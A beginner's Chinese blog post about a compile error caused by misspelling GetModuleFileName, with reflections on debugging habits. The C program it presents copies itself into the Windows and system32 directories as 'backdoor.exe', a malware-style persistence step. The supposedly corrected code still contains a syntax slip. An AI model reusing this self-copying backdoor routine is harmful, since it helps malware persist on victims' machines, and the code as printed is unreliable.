一个“u”引发的思考

简介:

    最近在学习API函数编写,可是毕竟自己基础不扎实。当出现问题时候,解决起来需要一段时间,一开始编写一个实现复制自身程序到Windows目录,system32目录功能的小程序。应用的API函数不多,主要有GetModuleFileName(),GetWindowsDirectory(),GetSystemDirectory,CopyFile();这四个API函数。

下面是主要的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>//包含GetWindowsDirectory(),GetSystemDirectory(),CopyFile()等这些API函数
void  copy_file(); //函数声明
int  main()
{
copy_file();
return  0;
}
void  copy_file()
{
char  Self[MAX_PATH]={0}; //定义字符型数组用来存放当前目录的地址
char  Windows[MAX_PATH]={0}; //定义字符型数组用来存放Windows的地址
char  System[MAX_PATH]={0}; //定义字符型数组用来存放系统的地址
GetModuleFileName()(NULL,Self,MAX_PATH); //调用函数获得当前目录并且存放在Self[MAX_PATH]
GetWindowsDirectory(Windows,MAX_PATH); //和上面类似
GetSystemDirectory(System,MAX_PATH);
strcat (Windows, "\\backdoor.exe" ); //补全路径
strcat (System, "\\backdoor.exe" );
CopyFile(Self,Windows,FALSE); //复制文件过去Windows目录
CopyFile(Self,System,FALSE);
}

这是修改后的代码,在一开始编写的时候,程序出现undeclared identifier这个错误,那时候心急想把问题解决,就开始想

(1)是不是自己VC版本太低,因为自己学习的那本编程书讲到,一些函数需要新的PSDK才能编写,可是对于我这个工具都还没用得太懂的人来说。要解决这个问题就得放缓一下,

(2)再调用API函数时出现错误,于是我上百度去查找这个函数的原型,发现自己参数没有错误!于是这个猜测又搁浅了

(3)今天开始想,直接把出现的错误百度算了。可是百度出来的原因大多是子函数未声明就开始调用。然后向一个朋友求助,才发现自己一个API函数的函数名写错了.GetModuleFileName()写成了GetMoudleFileName(),错误的原因仅仅是因为一个“u”的顺序乱了。因为在键盘上“o”和“u”挨得比较近,所以打的时候不自觉就加上了!

 

     写在后面:

【1】其实自己应该有一个良好的解决问题顺序,在遇到难题时,(1)怎样的分析(2)怎样一个次序(3)怎样一个排除都显得尤为重要.像这个问题,最开始应该从出现的错误百度,而不要先想书本的,先把我们已知的情况排除,再去尝试新的方法

【2】在检查各个函数时,将光标点在函数之间就会出现相应的函数返回值类型,参数类型;而那时GetModuleFileName()这个函数却没有出现,自己也没有好好的注意

【3】还是那个心态问题,在初学一些知识时,我们会很害怕遇到问题,的确我也是!可是在遇到问题时我们不应该以一种气馁的态度去对待,我们应该以一种求知的心态对待。遇到问题时候也就是我们技术开始成长之时。最近的确有不少问题,可是我会一个一个去解决。我相信我们都可以

233349840.jpg

233351603.jpg

 










本文转自 qq414207614 51CTO博客,原文链接:http://blog.51cto.com/skytina/1249984,如需转载请自行联系原作者
目录
相关文章
|
18小时前
|
存储 关系型数据库 MySQL
数据管理的艺术:PolarDB开源版详评与实战部署策略(一)
PolarDB-X是阿里巴巴自研的高性能云原生分布式数据库,基于共享存储的Shared-nothing架构,支持MySQL生态,具备金融级高可用、分布式水平扩展、HTAP混合负载等能力。它通过CN(计算节点)和DN(存储节点)实现计算与存储分离,保证数据强一致性,并支持全局二级索引和多主多写。PolarDB-X开源版提供更高程度的定制化和控制权,适合追求技术自主性和成本优化的开发者。部署方式包括RPM包、PXD工具和Kubernetes,其中PXD工具提供了一键部署的便利性。
33558 10
|
4天前
|
关系型数据库 Serverless 分布式数据库
高峰无忧,探索PolarDB PG版Serverless的弹性魅力
在数字经济时代,数据库成为企业命脉,面对爆炸式增长的数据,企业面临管理挑战。云原生和Serverless技术革新数据库领域,PolarDB PG Serverless作为阿里云的云原生数据库解决方案,融合Serverless与PostgreSQL,实现自动弹性扩展,按需计费,降低运维成本。它通过计算与存储分离技术,提供高可用性、灾备策略和简化运维。PolarDB PG Serverless智能应变业务峰值,实时监控与调整资源,确保性能稳定。通过免费体验,用户可观察其弹性性能和价格力,感受技术优势。
|
14天前
|
存储 缓存 监控
你的Redis真的变慢了吗?性能优化如何做
本文先讲述了Redis变慢的判别方法,后面讲述了如何提升性能。
102228 4
|
14天前
|
机器学习/深度学习 并行计算 算法
Transformer 一起动手编码学原理
学习Transformer,快来跟着作者动手写一个。
94246 8
|
13天前
|
存储 SQL Apache
阿里云数据库内核 Apache Doris 基于 Workload Group 的负载隔离能力解读
阿里云数据库内核 Apache Doris 基于 Workload Group 的负载隔离能力解读
阿里云数据库内核 Apache Doris 基于 Workload Group 的负载隔离能力解读
|
19天前
|
人工智能 弹性计算 算法
一文解读:阿里云AI基础设施的演进与挑战
对于如何更好地释放云上性能助力AIGC应用创新?“阿里云弹性计算为云上客户提供了ECS GPU DeepGPU增强工具包,帮助用户在云上高效地构建AI训练和AI推理基础设施,从而提高算力利用效率。”李鹏介绍到。目前,阿里云ECS DeepGPU已经帮助众多客户实现性能的大幅提升。其中,LLM微调训练场景下性能最高可提升80%,Stable Difussion推理场景下性能最高可提升60%。
123963 24
|
14天前
|
存储 弹性计算 Cloud Native
1 名工程师轻松管理 20 个工作流,创业企业用 Serverless 让数据处理流程提效
为应对挑战,语势科技采用云工作流CloudFlow和函数计算FC,实现数据处理流程的高效管理与弹性伸缩,提升整体研发效能。
64741 2
|
20天前
|
消息中间件 安全 API
Apache RocketMQ ACL 2.0 全新升级
RocketMQ ACL 2.0 不管是在模型设计、可扩展性方面,还是安全性和性能方面都进行了全新的升级。旨在能够为用户提供精细化的访问控制,同时,简化权限的配置流程。欢迎大家尝试体验新版本,并应用在生产环境中。
187530 15
|
16天前
|
存储 关系型数据库 数据库
|
24天前
|
物联网 PyTorch 测试技术
手把手教你捏一个自己的Agent
Modelscope AgentFabric是一个基于ModelScope-Agent的交互式智能体应用,用于方便地创建针对各种现实应用量身定制智能体,目前已经在生产级别落地。